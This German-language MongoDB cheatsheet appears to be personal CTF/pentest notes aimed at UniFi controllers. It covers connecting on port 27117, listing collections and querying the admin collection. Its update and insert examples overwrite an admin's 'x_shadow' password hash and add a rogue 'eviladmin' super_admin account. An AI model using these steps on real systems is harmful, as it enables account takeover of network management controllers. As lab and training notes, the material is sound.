MongoDB Cheatsheet
🔗 Verbindung
mongo # Lokaler Zugriff
mongo --port 27117 # UniFi-Standardport
mongo <host>:<port>/<db> -u <user> -p <pw> --authenticationDatabase admin
📁 Datenbankbefehle
show dbs // Alle Datenbanken anzeigen
use <datenbank> // In Datenbank wechseln
db // Zeigt aktuelle Datenbank
📦 Collection-Befehle
show collections // Alle Collections (Tabellen) anzeigen
db.<collection>.find() // Alle Einträge in der Collection anzeigen
db.<collection>.find().pretty() // Lesbarer Output
db.<collection>.find().forEach(printjson) // Alles schön formatieren
📌 Achte darauf:
Collections heißen nicht immer
users
!In UniFi z. B. heißt sie
admin
🔍 Suchen & Filtern
db.<collection>.find({ "name": "admin" })
db.<collection>.find({ "role": "super_admin" })
✏️ Bearbeiten / Updaten
db.<collection>.updateOne(
{ "name": "admin" },
{ $set: { "x_shadow": "<neuer_hash>" } }
)
➕ Benutzer hinzufügen (Beispiel)
db.admin.insertOne({
name: "eviladmin",
email: "evil@root.htb",
role: "super_admin",
x_shadow: "<dein_hash>",
time_created: Date.now() / 1000
})
💥 Tipps fürs CTF / Pentest
x_shadow
ist oft SHA-512 oder bcrypt – genau prüfen!show collections
ist Pflicht, bevor dufind()
machstAchte auf offene Ports: MongoDB hört manchmal auf 27017, 27117 oder localhost
Last updated